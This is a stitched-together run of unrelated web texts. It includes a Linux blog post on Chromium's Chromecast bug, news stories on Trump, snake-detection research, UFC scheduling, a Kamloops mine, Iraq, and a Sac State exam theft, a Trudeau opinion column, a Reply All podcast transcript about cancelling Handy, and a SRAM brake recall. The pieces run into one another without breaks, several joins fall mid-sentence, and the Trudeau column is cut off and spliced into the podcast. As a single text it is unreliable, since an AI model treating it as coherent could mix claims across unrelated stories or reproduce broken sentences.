Secondly — I apologise if this debunks the theory that I get paid by Google/Canonical/Red Hat/Microsoft to not write about certain things — I didn’t know this “controversy” (or ‘non-troversy’, as you’ll learn) until I opened the rage-filled e-mails that were waiting in my inbox.
Let’s back up and take it from the top.
Google Yanks Chromecast Support From Chromium Browser Builds
The story starts with ‘PCMaster160’, a Linux desktop user who discovered he was no longer able to cast browser and tab contents from his Chromium browser to his Chromecast-equipped TV as of a recent update.
Explaining the situation in a post on the official Google Product Forums, PCMaster160 writes:
“Before [Google] cast became natively built into Chrome I was using the cast beta extension. Since then that has been turned into an extension which does nothing, the Google Cast extension casts a black screen for 5 seconds before displaying on the chromecast “Cast connection stopped” and installing Google Chrome then opening Chromium (with media router flag enabled or set to default) doesn’t find any devices.”
The controversy kicks into gear when a Google Product Expert — not a Google Employee but a volunteer who is rewarded by Google for being super helpful in the forum — named Christina replies to his issue to say these words (emphasis ours):
“At this time, Chromium is not supported for use with Google Cast. I suggest using the official Chrome browser instead. Please note that experiences may vary with Linux based desktops as well.”
If accurate that would, indeed, be a pretty controversial move. There’s zero reason why Chromium can’t support Google Cast technology, be it natively or through an optional add-on. The entire Chromium browser is super Linux-friendly, and there’s an entire Linux-based distribution (Chrome OS) built upon it.
The internet duly, albeit pre-emptively, goes bananas over the news:
Bystanders who stumble across the news are quick to assimilate their opinion with the collective anger, disappointment, and UNBRIDLED CAPS LOCK OUTRAGE!!!! being issued in response:
But is this outpouring of outrage entirely reasonable? Has Google actually done a “shocking evil” here? Or are people taking an innocuous issues and using it to feed their own predisposed bias?
The answer (spoiler: it’s the latter) can be found in the Chromium codebase. There a small, innocuously worded commit reveals that the sudden lack of Chromecast support in Chromium on Linux was not down to Google’s adoption of Microsoft’s 1990’s ‘Embrace, Extend, Extinguish’ campaign, nor was the feature yanked out of spite for open-source compatriots.
No, Chromium’s Chromecast capabilities were broken because of a simple bug, a bug now fixed in the latest upstream builds and shortly set to filter its way down to stable builds.After predicting that Germany and other European countries will collapse due to the refugee crisis, Donald Trump told Michael Savage yesterday that on his very first day as president, he will begin calling the leaders of allied nations to inform them that the U.S. will no longer honor commitments to defend them in case of a military conflict.
Trump said that these allied countries will “have to pay” much more for protection, adding, “What, are we supposed to get into World War III over a country that doesn’t respect us enough to pay what they’re supposed to be paying?”
Trump also said that as president he will immediately act to undo President Obama’s executive actions on immigration reform and build the Keystone XL pipeline, with a hefty new tax on the corporations that benefit from it.
Previously, Trump said he would prefer that countries acquired nuclear weapons rather than continue military alliances with the U.S. that he thinks are too expensive.Some of the oldest tales and wisest mythology allude to the snake as a mischievous seducer, dangerous foe or powerful iconoclast; however, the legend surrounding this proverbial predator may not be based solely on fantasy. As scientists from the University of Virginia recently discovered, the common fear of snakes may well be intrinsic.
Evolutionarily speaking, early humans who were capable of surviving the dangers of an uncivilized society adapted accordingly. And the same can be said of the common fear of certain animals, such as spiders and snakes: The ancestors of modern humans were either abnormally lucky or extraordinarily capable of detecting and deterring the threat of, for example, a poisonous snake.
Psychologists Vanessa LoBue and Judy DeLoache were able to show this phenomenon by examining the ability of adults and children to pinpoint snakes among other nonthreatening objects in pictures.
“We wanted to know whether preschool children, who have much less experience with natural threats than adults, would detect the presence of snakes as quickly as their parents,” LoBue explained. “If there is an evolved tendency in humans for the rapid detection of snakes, it should appear in young children as well as their elders.”
Preschool children and their parents were shown nine color photographs on a computer screen and were asked to find either the single snake among eight flowers, frogs or caterpillars, or the single nonthreatening item among eight snakes. As the study surprisingly shows, parents and their children identified snakes more rapidly than they detected the other stimuli, despite the gap in age and experience.
LoBue and DeLoache also found that both children and adults who don't fear snakes are just as good at quickly identifying them as children and adults who do fear snakes, indicating that there may be a universal human ability to visually detect snakes whether there is or is not a fear factor based on a learned bias or experience.
LoBue and DeLoache explain that their study does not prove an innate fear of snakes, only that humans, including young children, seem to have an innate ability to quickly identify a snake from among other things. One of their previous studies indicated that humans also have a profound ability to identify spiders from among non-threatening flora and fauna. Lobue has also shown that people are very good at quickly detecting threats of many types, including aggressive facial expressions.
The results, which appear in the March 2008 issue of Psychological Science, a journal of the Association for Psychological Science, may provide the first evidence of an adapted, visually-stimulated fear mechanism in humans.Last night it was revealed that former light heavyweight champion Rashad Evans had injured his knee and would be unable to fight Daniel Cormier in the co-main event of UFC 170 next week in Las Vegas. According to Kevin Iole of Yahoo Sports, Evans' injury was expected to keep him out for roughly a month, and that UFC officials had planned to re-schedule the bout for an upcoming card. According to Sportsnet's Joe Ferraro, Evans/Cormier is headed for UFC 172 in Baltimore, squashing the already unlikely idea of Chael Sonnen/Cormier for UFC 170.
While Chael did step up to take on DC, the Evans vs Cormier bout has been moved to UFC 172: Jones vs Teixeira, Apr 26th, in Baltimore. — Joe Ferraro (@ShowdownJoe) February 13, 2014
This means UFC 172 is all about the top of the light heavyweight division. Jon Jones will defend his LHW title on the April 26th card against Glover Teixeira, while Anthony Johnson returns to the Octagon against Phil Davis. Evans/Cormier would basically make this a themed PPV with every bout directly affecting the top 10.
If there was ever a damning statement about the quality and depth of UFC LHW right now, it's the fact that we've yet to have a fight in the division this year (hat tip to Rian Scalia), and we won't see one until Cyrille Diabate vs. Ilir Latifi on March 8th in London. Alexander Gustafsson against Jimi Manuwa on the same card would be the 2nd one, and then absolutely nothing else immediately impacts the top tier until late April.
Hopefully everything falls into place and UFC 172 (plus Gustafsson/Manuwa in March) provides us a conclusive outlook of light heavyweight as it stands.
SBN coverage of UFC 172: Jones vs. TeixeiraTrump: No connection between campaign cash, Trump U. case
Republican presidential candidate Donald Trump walks in the rain with Florida Attorney General Pam Bondi last month in Tampa, Fla. (Photo11: Loren Elliott, AP)
Donald Trump is denying any connection between a political contribution benefiting the Florida attorney general and her office's decision to drop an investigation into Trump University.
"She's a fine person beyond reproach," Trump said of Florida Attorney General Pam Bondi, a prominent supporter in the Sunshine State.
Trump added that "I never spoke to her" about any investigation.
The Washington Post reported that Trump paid a $2,500 penalty to the IRS because his charitable foundation violated tax laws with a $25,000 donation to a campaign group connected to Bondi.
Noting that the contribution was made in 2013, the Post reported that at the time Bondi "was considering whether to investigate fraud allegations against Trump University. She decided not to pursue the case."
Trump and Bondi have denied any wrongdoing.
The Republican presidential nominee, who has long disputed fraud allegations against the now-defunct Trump University, told reporters Monday that many state attorneys general "turned that case down" because he would win it in court.
But he is facing a civil Fraud suit in California over Trump University, and other attorneys general raised concerns about the university's practices.
Read or Share this story: http://usat.ly/2cu0uNyAn environmental group is asking the local bureaucrat in charge of Kamloops' drinking water to stop a controversial billion-dollar mining project that could soon be approved by the provincial government.
The University of Victoria's Environmental Law Centre mailed a letter to the local drinking-water officer Monday alleging previous environmental studies done on the Ajax Mine proposal, owned by the Polish firm KGHM, did not take into account how toxic chemicals from the open-pit copper and gold mine could contaminate surface water to leach into a nearby creek and two aquifers that provide drinking water to more than 100 residents. A Vancouver-based representative of the company was unavailable for comment on Friday.
The province is expected to issue its environmental assessment certificate as early as this fall, but this independent bureaucrat has the power to order the company to stop the project until it properly addresses the risks posed to the local water supply, according to Calvin Sandborn, the legal director of the UVic centre leading the campaign to stop the mine. If the officer does not issue an order, they can still ask B.C.'s environment ministry to ask the company to address inadequacies in its assessment of the contaminant risks identified in a new report from an independent hydrogeologist commissioned by the centre, he said.
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"The final [provincial environmental] certificate is not issued, that could happen in the fall – that's why we're filing this thing," Mr. Sandborn said Friday. "Even with the certificate, the drinking-water protection order takes precedence because the Drinking Water Protection Act takes precedence over other legislation."
B.C.'s drinking-water officers were given this power after seven people died and more than 2,300 became sick in 2000 from tainted water in Walkerton, Ont., Mr. Sandborn said.
He said his organization has had success using this approach before when input from local drinking-water officers resulted in the B.C. environment industry ordering Okanagan dairy farmers to clean up pollution affecting the Hullcar Aquifer as well as contributed to a coal company pulling out from the Raven Mine proposal on Vancouver Island.
He added that local residents and groups such as his are trying to fill in gaps in the province's management of the mining industry, which the B.C.'s Auditor-General said last year was failing to protect the environment against significant risk because the government dedicated too few resources, conducted infrequent inspections and suffered from a lack of enforcement.
KGHM initially filed the Ajax Mine proposal in 2011. The project was the first in B.C. required to prepare a community-consultation plan as part of its proposal. KGHM owns 80 per cent of the project, while Vancouver-based Abacus Mining and Exploration owns the remaining 20 per cent. No one from KGHM was available to comment on the centre's letter Friday afternoon.
Last month, Kamloops City Council voted to send to a letter to senior levels of government explaining why the community is "an unequivocal no" on the project.
The proposed mine, which is also opposed by First Nations in the region, has been a divisive issue for the city. Supporters cited its potential to create hundreds of stable, high-paying jobs and millions of dollars worth of tax revenue for governments.
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Opponents raised concerns about dust, noise and potential health effects. KGHM rejigged its original proposal in 2014 to address some of those issues.
But concerns remained, with critics saying potential risks from the project – which would be within two kilometres of residential areas – were still too great.
The council's position did not come as a surprise to KGHM, who would continue to pursue the project, a project manager told The Globe and Mail at the time.
In March, the Stk'emlupsemc Te Secwepemc Nation declared its opposition to the Ajax Mine following its own environmental review. SSN, which represents two First Nations communities, said the Ajax Mine project "is in opposition to the SSN land use objective for this profoundly sacred, culturally important and historically significant keystone site."
Should the mine go ahead, the City of Kamloops has agreed in principle to a community benefits agreement with KGHM Ajax Mining of $3.8-million a year.
The project has an estimated cost of $1.3-billion. KGHM says the mine would operate for 23 years and employ about 500 people, with about 1,800 jobs during an initial construction phase.Motorist beats 98mph speeding charge - by buying back his car and proving it can only manage a top speed of 85mph
It is hardly the boy racer's vehicle of choice.
About 14 years old and with 130,000 miles on the clock, the Honda Civic driven by
Dale Lyle was barely capable of reaching the speed limit.
So when he received a ticket for apparently driving at almost 100mph on the motorway, he told magistrates the mobile speed camera must have got it wrong.
Prove it, they said. He did... but it wasn't easy.
Mr Lyle, 21, who has a clean driving licence, had already sold the car to a friend for £600.
He had to take out a bank overdraft to buy it back.
Dale Lyle, who was accused of driving at 98mph, holds up the test certificate which proves his 14-year-old Honda Civic has a top speed of 85mph
Then he had to pay an independent driving expert £600 to test the 1.3litre Civic's top speed at a circuit in Bedfordshire.
The result was as expected. Even when driven flat-out, the Honda could still only do a top speed of 85.4mph in fourth gear and 81.3mph in fifth.
Next, Mr Lyle obtained the mobile speed-camera footage of his alleged offence - travelling at 98mph on a 70mph three-lane carriageway of the A38, near Plymouth, on December 13, 2007.
The three-minute film shows three other cars in the frame at the same time, he said, which he believes means his vehicle was mistaken for another.
Mr Lyle could have faced a maximum £1,000 fine and a six-month ban for the speeding charge.
He said: 'The video evidence the CPS sent me was just appalling. They are just picking on innocent motorists. It makes you wonder how many people say, "Fine, give me the points", when they are not guilty.
Eventually, his hard work paid off, and the Crown Prosecution Service informed him the case had been dropped.
'I'm really glad I fought the system and won,' he said. 'It's shocking how hard it has been for me to prove my innocence.'
Mr Lyle, a finance worker, from Staple Hill, Bristol, recalled his feelings when first served with the prosecution.
'I was in total disbelief when I opened the letter,' he said.
'I've never driven my car over the speed limit, let alone at 98mph. It's such a small car I wouldn't feel safe.
'I told the magistrates that the car was ancient and that there was no way it will do that speed.'
He intends to return to court to seek compensation for the £1,200 he spent proving his innocence.
The CPS said: 'We came to the conclusion that there was no longer sufficient evidence to provide a prospect of a conviction. Recompense is a matter between the defendant and the court.'US Secretary of State Rex Tillerson (L) is received by Saudi King Salman bin Abdulaziz al-Saud (R) prior to their meeting in the capital Riyadh on October 22, 2017
The Iraqi government dismissed a call from U.S. Secretary of State Rex Tillerson for Iranian-backed paramilitary units that helped Baghdad defeat Islamic State and capture the Kurdish-held city of Kirkuk to end operations in Iraq.
The paramilitary units have been expanding their reach to northern Iraq, supporting government forces which seized the Kurdish-held city of Kirkuk one week ago in a lightning advance in retaliation for a referendum on independence.
Iraqi forces are deploying tanks and artillery just south of a Kurdish-operated oil pipeline that crosses into Turkey, a Kurdish security official said, the latest in a series of Iranian-backed operations against the Kurds.
Speaking after a meeting on Sunday with Iraqi Prime Minister Haider al-Abadi and Saudi Arabia's King Salman, Tillerson said it was time for the Iraqi Popular Mobilisation forces and their Iranian advisers to "go home".
U.S. seeks to contain Iran
Washington is concerned Iran will use its expanded presence in Iraq and in Syria to expand its influence in the region.
But Abadi showed unwillingness to meet Tillerson's demand.
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"No party has the right to interfere in Iraqi matters," a statement from his office read. It did not cite the prime minister himself but a "source" close to him.
Predominantly Shi'ite Iran and its Sunni rival Saudi Arabia are locked in a proxy war for influence in the Middle East.
The international battle against Islamic State fighters in northern Iraq since 2014 saw the United States and Iran effectively fighting on the same side, with both supporting the Iraqi government against the militants.
Washington has 5,000 troops in Iraq, and provided air support, training and weapons to Iraqi government forces, even as Iran armed, trained and advised the Shi'ite paramilitaries which often fought alongside the army.
But the latest twist in the Iraq conflict, pitting the central government against the Kurds, is trickier for U.S. policymakers. Washington still supports the central government but has also been allied to the Kurds for decades.
Iran exhibited its sway over Baghdad's policies during tensions over a referendum last month in which the semi-autonomous Kurdistan region voted to secede from Iraq against Baghdad's wishes, Kurdish officials say.
Baghdad responded to the vote by seizing the oil city of Kirkuk, which the Kurds see as the heart of any future homeland.
Major-General Qassem Soleimani, commander of foreign operations for Iran's elite Revolutionary Guards, repeatedly warned Kurdish leaders to withdraw from Kirkuk or face an onslaught by Iraqi forces and allied Iranian-backed fighters, Kurdish officials briefed on the meetings said.
Iraq's Sunni neighbours, including Saudi Arabia, share Washington's concerns over Shi'ite power Iran's influence in Iraq, where the population is predominantly Shi'ite.
The office of Abadi, himself a Shi'ite, said the paramilitary forces were under the authority of the Iraqi government.
"Popular Mobilisation are Iraqi patriots," it said in the statement.
Iran dismisses Tillerson
Iran's Foreign Minister Mohammad Javad Zarif also rejected Tillerson's statement. The paramilitaries could not go home because "they are at home" already, he was quoted as saying by the state news agency IRNA.
Abadi has asserted his authority with the defeat of Islamic State in Mosul and the Iraqi army's sweep through Kirkuk and other areas which were held by the Kurds.
The buildup at the Kurdish oil export pipeline is taking place northwest of Mosul, an official from the Kurdistan Regional Government's (KRG) security council said.
The loss of Kirkuk dealt a major blow to the Kurds, who had been steadily building an autonomous region in northern Iraq since a U.S.-led invasion toppled Saddam Hussein, who oppressed them for decades.
"We are concerned about continued military build-up of Iraqi forces and Iranian-backed Popular Mobilization Forces towards the Kurdistan Region," said the Kurdistan Region Security Council (KRSC) in a statement.
Elections for Iraq's Kurdistan region's presidency and parliament set for Nov. 1 will be delayed because political parties failed to present candidates, the head of the electoral commission Hendrean Mohammed told Reuters.
Parties have been unable to focus on the elections because of turmoil that followed the referendum, a Kurdish lawmaker said on condition of anonymity.SACRAMENTO, Calif. (CBS13) – Police investigators say a student ran into a classroom and tried to steal a final exam, but not before a professor helped take him down.
Police were called out to Sac State campus when a final exam turned into a foot chase.
It was a fiasco during finals week at Sac State. While some students cram in a final week of courses, one student and his accomplice allegedly cooked up a plan that had cops investigating.
ALSO READ: Police: First-Year Sac State Student Had Pot, Oxycodone Pills, Magic Mushrooms In Car
“It’s kind of unusual,” said Sac State Police Department Chief Mark Iwasa.
Police responded to Brighton Hall on a report a thief ran into a classroom during a final test and stole a copy “apparently right from underneath a student that was taking an exam and ran off with it,” said Iwasa.
Spiros Velianitis, professor of the class, “Management Information Systems”, ran after the finals thief and caught him, then called officers who detained the student.
“Either my exams are so popular that other students crash my tests or these exams are passed (or) sold to others. It is possible that this is not an isolated incident,” Velianitis told the State Hornet newspaper.
Police determined the student who stole the test had a getaway car waiting. It turns out his getaway driver was allegedly a student in the professor’s class.
ALSO READ: Homeless Student Population Growing At Sacramento State
Student Chris Kennedy is also enrolled in the class. He said he took the final and it wasn’t hard.
“It’s not a hard class at all,” he said. “MIS is not hard at all, it’s just simple questions…questions are multiple choice,” he added.
Police say they have chosen not to recommend charges. Instead, the student council will determine how to discipline the student.People who enjoy making themselves appear big by making others appear small are best avoided in life, if possible.
Admittedly, that’s hard to do when they’re the Prime Minister.
Three times since July 1 alone — twice in foreign media — Justin Trudeau has gratuitously aggrandized himself at the expense of other Canadians.
Each time, it’s been in interviews with friendly reporters. He wasn’t harangued into it.
The latest incident, for which Trudeau has apologized after his remarks angered indigenous leaders, occurred in his recent Rolling Stone interview.
Asked by Stephen Rodrick how much of his 2012 charity boxing match with Tory Senator Patrick Brazeau was planned in advance, the author reported Trudeau, “mischievously" smiled before telling him:
“‘It wasn’t random. I wanted someone who would be a good foil, and we stumbled upon the scrappy tough-guy senator from an indigenous community. He fit the bill, and it was a very nice counterpoint.’ Trudeau says this with the calculation of a CFO in a company-budget markup session. ‘I saw it as the right kind of narrative, the right story to tell.’”
So, a PM who insists he’s all about reconciliation with indigenous people now calls it “a very nice counterpoint” and “the right kind of narrative” to mock an indigenous senator with well-known personal troubles over an incident five years ago.
Why, other than vanity, especially since it isn’t even true?
As respected Ottawa journalist Susan Delacourt writes in her iPolitics column, she knew from interviewing Trudeau in 2011 that at least two other Tories — Peter MacKay and Rob Anders — had turned down Trudeau’s offer of a boxing match, before he approached Brazeau.
Last month, asked during the G20 by a friendly editor from the German newspaper BILD: “Just very briefly – what is your view on Germany?” Trudeau responded:
“You are perhaps a little more … I’m looking for the right word – predictable? No, you’re more organized, maybe, than Canadians can be. We’ve got enough French and Latin blood in us to be less organized.”
Widely interpreted as a shot at francophone Quebecers — and ironic given that Trudeau was born in Quebec and is of French Canadian (and Scottish) descent — his comment again raises the question of what was the point of this remark?
Other than for Trudeau to stroke his own ego by resorting to the wanton stereotyping he routinely condemns in others, while posing as an all-knowing, dispassionate analyst of Quebec francophones.
Finally, there was Trudeau’s Canada Day interview with CTV, with another friendly reporter.
When she told the PM her parents emigrated from Sri Lanka (then Ceylon) to Canada because of a speech his father, Pierre Trudeau, gave there, Trudeau instantly made it all about himself, saying he’s “jealous” of immigrants who choose Canada because they care more about the country than those who are “Canadian by default.”
“Which is why I always laugh,” Trudeau continued, “whenever you see people, not many of them, but intolerant, or think, ‘Oh, yeah, go back to your own country’. Well no, you chose this country, this is your country more than it is
|
: Should I have like a saying, like He-Man? I have the power, tech support assemble...
PJ: No wait, I know your saying, I know your saying, you ready?
ALEX: Mmhmm.
PJ: Did you try restarting it?
ALEX: Once you said, I've got it, I was like, oh it's going to be, Did you try restarting it?
ALEX: Okay.
PJ: So this first assignment should be an easy one. I don't know if you know this about me, but starting a few months ago I started experimenting with housecleaning apps. Basically you pay online and a professional comes and cleans your house for you.
ALEX: Okay.
PJ: So I was cycling between a bunch of introductory house cleaning app rates and for maybe two months I had a very clean house.
ALEX: Okay, s o you were basically just using them up through their introductory offers and then switching to the next one.
PJ: Yes. And I felt very clever about it and then something happened.
ALEX: You weren't as clever as you thought you were.
PJ: Exactly. So there's this one called Handy. Their rate was super super low and so I hired them and then maybe a month later I got a notification on my phone that said, Hey we've charged you for your next recurring Handy appointment. And I looked on my phone and I tried to figure out how to cancel it and I couldn't figure out how to cancel it, so then I went on the website. There's no way to ever cancel a recurring appointment on their website, like there's no, there deal is you sign up for recurring appointments, they come to your house once a month and you give them money until one day you die. And so I tweeted at them, I tweeted at the company and said, hey there doesn't seem to be anyway for me to get rid of your recurring service, and very quickly they responded and they said, no problem, give me your email address, and I gave them my email address and they said it was cancelled. But then, I said to them, they'd been so friendly and responsive and I said, hey it really seems like there is no way to cancel service on your website, is that true and if it is, why? And they disappeared and never said anything again.
ALEX: So is the super tech support that we are providing today talking to them and figuring out exactly how it is that you can cancel and why they make it so difficult?
PJ: YEAH. Like I know that a lot of web-based companies, that’s a thing, they try to make cancelling a service really hard, but doing it to this degree seems exceptionally diabolical. I just want you to go find out what's going on, find out if it's actually possible that my very cynical read on what's going on here, find out if that's actually true.
ALEX: Okay so I'm going to reach out to our buddies at Handy.
PJ: You got to say, you got to say your saying though.
ALEX: Oh. Did you try restarting it?
PJ: Yeah that’s real good.
ALEX: Okay so it's been four days since that first conversation. Are you ready for this?
PJ: Yeah.
ALEX: Alright so as your tech support concierge.
PJ: Concierge, I like it.
ALEX: I decided to just double check that you knew how to use the website properly.
PJ: I appreciate that.
ALEX: So, first I googled, how can I contact Handy? And there's a webpage on the Handy website that says, How can I contact Handy? and then it says, We're here to help! Contact us here:
PJ: And then there's just a picture of a brick wall?
ALEX: And when you click on it, it gives you their help center which gives you the options to check your existing bookings, make a new booking, look at your account, or other. There's no, and none of those things are, how do I-
PJ: Cancel!
ALEX: Cancel the account.
PJ: Okay so this, like I experienced this but I couldn't relate it to you because when I experienced it I was just like in a rage state and so I didn't remember the individual steps I just remembered the feelings I had which were strong.
ALEX: So it says, how can I contact Handy? We're here to help, Contact us here, and it takes you to the help center and then, underneath it it says: Still need help? Contact us. And there's another link. And that link takes you to the same place. Finally, after a bunch of googling, I found this page that said: to completely deactivate your regularly scheduled cleaning service: contact us. And I was stoked beyond belief and I clicked through and it takes you to the help center.
PJ: See! That's not right! That's not right. That is like three-card monty.
AG: So I went to their website and looked for a phone number.
PJ: Did they say our phone number is help center?
ALEX: There is no phone number that I can see on their website. I had to go to gethuman.com, are you familiar with gethuman.com?
PJ: No.
ALEX: It's a great website. You put in the name of a business it give you the number of the business and the buttons to press in order to get a person.
PJ: Oh my god.
ALEX: It’s very very smart.
PJ: So was there a gethuman.com thing for Handy?
ALEX: Yes there was.
PJ: Okay.
ALEX: So I called Handy.
SHARMA: Thank you for calling Handy, my name is Sharma, may I ask who I'm speaking with?
ALEX: My name is Alex Goldman.
SHARMA: Hello Mr. Goldman, How are you?
ALEX: I'm good. Just to be clear, I'm recording this phone call. I hope that's okay.
SHARMA: Yeah of course. Sure!
ALEX: Is there a way to cancel recurring bookings online?
SHARMA: It’s kind of difficult. I can do it for you.
ALEX: I'm actually interested to see if there's a way for me to do it. Is there no way for me to do it?
SHARMA: Of course. If you give me a brief moment I can check on that for you. Okay?
ALEX: Thank you.
SHARMA: You're welcome. One moment.
ALEX: Now I just want to pause and let you know that you are about to hear the fucking best hold music ever.
PJ: Okay. Oh this is good.
ALEX: Right?
ALEX: So I was on hold for two and a half minutes. The whole time, totally happy to listen to this song. They could have kept me on hold for half an hour.
PJ: Is she asking like Handy himself?
ALEX: Yeah, Charles Handy. So then she finally comes back.
SHARMA: Thank you for holding Mr. Goldman, I do apologize for that. But I have been advised that we would have to cancel the recurring bookings if you would want to do that.
ALEX: Okay, just to be clear, I’m curious why I can’t cancel a recurring booking myself. It seems awfully customer unfriendly.
SHARMA: Okay, I can ask them that.
PJ: She’s totally nice and professional.
ALEX: Yeah she’s totally nice and professional. Then she says, Alex, Mr. Goldman. Hold on a second, I need to ask someone, can I put you on hold again?
PJ: And you were like hell yeah.
ALEX: And I was like please.
PJ: Play that funky hold music.
ALEX: Okay so yeah you get it, the hold music plays.
PJ: Oh you can keep playing the hold music. It is really good.
ALEX: It’s great hold music. There’s like a solo if you get further into it.
PJ: It’s the theme to an end of a long struggle. Do you know what I mean? It’s like everything is okay music.
ALEX: Yeah I assume there’s a certain psychology to it that’s not accidental.
PJ: Ohhhh.
ALEX: And when she came back this is what she said:
SHARMA: Thank you for holding sir I do apologize for that wait. But it’s just what I was advised is that the system is not set up for customer's to cancel the recurring bookings because when you want to cancel, they're wanting the customers to call in to see if we can help the situation out on actually why they're wanting to cancel the bookings and offer promotions and discounts and things like that.
ALEX: I see.
SHARMA: So it's like a, it's kind of like an opportunity to better our services.
ALEX: I see. Sharma you have been incredibly helpful, I really appreciate it.
SHARMA: No problem. Is there anything else I can help you with?
ALEX: No you've been a great help. I really appreciate it. Take care.
SHARMA: You're welcome. You too. Thanks for calling Handy.
ALEX: Bye bye.
SHARMA: Bye bye.
PJ: I can't believe that they're so honest about what they're doing! That's not okay.
ALEX: Look I was only tasked to figure out how to cancel your recurring bookings, I wasn't tasked to justify it.
PJ: But all I want you to do is say as angry as you are, you are right to be that angry.
ALEX: Uh.
ALEX: Did you try restarting it?
PJ: I guess at least I do feel that I’ve been super tech supported.
ALEX: So just before this story was actually about to go out, we got a response from a spokesperson at Handy. They wouldn't agreee to an interview.
PJ: The one time they don't want ot talk on the phone is when you're doing a story about them.
ALEX: I did get a statement back: We apologize if Pj had an experience that did not match the high standard for seamless home services that we set for ourselves. Everyday we evaluate and reevaluate our best practices to better serve out customers and as part of that, we're not piloting different cancellation options including through the app for recurring bookings. So do we want to take credit for this?
PJ: Yeah! We should take credit for this. But also, like can ahhhhhhhh. Like, let's pretend it was a movie theater, and the movie theater didn't have an exit and you were like why don't you have an exit, I'd like to leave the movie when I'm done. And they were like, well, we want to see if we can convince you to see another movie before you're allowed to leave and you've said that was a problem and they sent you a letter saying, You know, we try to reach our best practices every day and we're piloting, some patrons will be allowed to leave the theater of their own volition.
ALEX: May I remind you that the whole reason you were using Handy in the first place is cause you were trying to scam all of these cleaning services?
PJ: I know I'm the worst person in the world.
ALEX: As long as everybody else knows. That's it for the first installment of Super Tech Support. If you have a Super Tech Support story you want to share with us, you can email us at [email protected].
PJ: Hey so Alex, before you read the credits.
ALEX: Yes....
PJ: There's a sort of mini-announcement.
ALEX: I wouldn't call it mini. It's pretty important.
PJ: So the mega-announcement is that there's now such thing as a Gimlet membership.
ALEX: Yes, I know this. You don't need to tell me because I already know.
PJ: This was more of an outward facing announcement.
ALEX: I understand now.
PJ: So here's what it is. First of all if you don't want to be a member, that's absolutely fine. Gimlet shows will continue to be free and completely downloadable. This is not like a paywall or anything like that. If you want to be a member, then you get some things: early access to the pilot of the new Gimlet show: Awesome Boring, which has Adam Davidson from Planet Money and Adam McKay from a million funny comedy movies.
ALEX: Such as?
PJ: Anchorman.
ALEX: Didn't he make Step Brothers?
PJ: Yeah.
ALEX: Oh my god that movie is so good.
PJ: So people can hear that pilot. And also, if you sign up for an annual subscription you can get a Reply All shirt. They're awesome. I'm wearing one right now.
ALEX: And if you don't want a Reply All shirt, you can also get a Gimlet shirt, or a Mystery Show shirt-
PJ: Anyway so the point is people can sign up if they want to, just go to replyall.limo. Alright, you can read the credits now.
ALEX: Reply All is hosted by PJ Vogt and me, Alex Goldman. We were produced this week by Tim Howard, Sruthi Pinnamaneni, Phia Bennin and edited by Alex Blumberg. Production assistance from Sylvie Douglis. Special thanks this week to Eli Horowitz and Emily Kennedy. Our show was engineered this week by Rick Kwan and the Reverend John DeLore. Matt Lieber is an old movie that still holds up. Our theme music is by Breakmaster Cylinder and our ad music is by Build Buildings. You can find more episodes at iTunes.com/replyall. Thanks for listening and we'll see you next week.
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Want to see good shows at prices you can afford, without waiting in a rush line? Sign up for LincTix, Lincoln Center Theater's discount ticket program for 21-35 year olds!
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Gives you access to cheap tickets -- just $32 for each new LCT and LCT3 production at the Vivian Beaumont, Mitzi E. Newhouse and Claire Tow Theaters and on Broadway. (Price includes a $2 LCT facility fee.)
Gets you invitations to free post-show parties! LincTix nights will be announced by email when tickets go on sale for each new show.
Allows you to purchase tickets in advance -- as soon as the show is on sale to the public. No more last minute rush to the box office! A limited number of LincTix are available for EVERY performance.
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Stays active until December 31st following your 36th birthday - you don't need to worry about renewing each year.
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Fill out the form below with your name, email, billing information and birth date - anyone between the ages of 21 and 35 can join! You will get a 6-digit LincTix ID. Keep it handy. You will need it to buy your LincTix.
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LincTix membership is open to U.S. residents between the ages of 21 and 35 only. A valid U.S. address and phone number are required for sign up. Please note that all LincTix members are required to provide proof of identity and age when picking up tickets.What initially began as a select recall due to performance issues on SRAM hydraulic road disc and rim brakes, has now evolved into a complete recall of all road hydraulic brakes across the board. Citing failures of the master cylinder seals at this past weekend’s cyclocross races in below freezing conditions, the resultant sudden loss of braking power was reported several times. No injuries have been reported, but the issues are prompting a recall of around 19,000 brakes systems with additional details soon to come.
Full statement after the break.
From SRAM:
UPDATE: SRAM Road Hydraulic Brake Recall – STOP USE IMMEDIATELY
On November 4th SRAM identified and announced a technical issue with respect to a narrow production range of its RED 22 and S-700 Hydraulic Road Brakes. At that time, it was described as a performance and safety concern with no reported failures in the field.
It has recently come to our attention that during last weekend’s Cyclocross racing in the US, in sub freezing temperatures, several failures were reported. In these conditions the master cylinder seals failed to hold pressure resulting in abrupt loss of brake power, and an inability to stop the bike. These failures are related to product that is outside the originally stated date code range and unrelated to the original failure mode. No injuries have been reported to date.
As a result of this new finding, SRAM requests that anyone who has a bike equipped with SRAM Hydraulic Disc or Hydraulic Rim Brakes stop using the bike immediately. All products shipped to date, and currently in the market or in inventory will be recalled.
Further, we are asking our Bike Brand customers, OE factories, Distributors and Dealers to cease all sales and shipments of SRAM RED 22 and S-700 Hydraulic Road Brakes. A total of approximately 19,000 brake systems have been shipped to date into the global market.
Quarantine efforts currently underway with Factories, Bike Brands, and Distributors will be broadened to include all Dealers with inventory on bikes, or as Aftermarket product. Additional information related to timing and replacement of product will be forthcoming.
As originally announced we have reported this issue to the US CPSC and will be cooperating with the agency to announce a Safety Recall. We will also be contacting and working closely with appropriate like agencies in Europe and globally.
SRAM engineering and manufacturing is committed to the highest Quality standards. On behalf of all employees at SRAM we apologize for the business disruption to our customers business and to the individuals who have placed their trust in our products.France 24 brings you an exceptional documentary in partnership with French TV news magazine "Envoyé spécial", on the hidden women of the jihadist web, the "sisters" of the Islamic State group (ISIS).
ADVERTISING
Recruiting women is a priority for the Islamic State group (ISIS), whether it’s to marry them off to terrorists or turn them into fighters, ready to die "as martyrs". Often young and vulnerable, they are easy prey.
Our reporters explored the virtual networks of French jihadist recruitment and made contact with these female jihadists and their online recruiters. Our team was able to obtain rare and valuable eyewitness accounts.
An investigative report by France 2 news magazine “Envoyé special”, by Marina Ladous, Roméo Langlois (winner of the Albert Londres Prize in 2013 and Bayeux-Calvados prize in 2016) and Etienne Huver (winner of the Albert Londres Prize in 2016).
Coproduced by France 24, SlugNews and TV Presse, with the participation of France télévisions.
>> On France 24.com, also watch our exclusive reports: “Raqqa Rebel”, which won the 2016 FIGRA award for best documentary short, and “Reformed IS group jihadists speak out”.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
This is the new route map for Crossrail, London’s newest rail line.
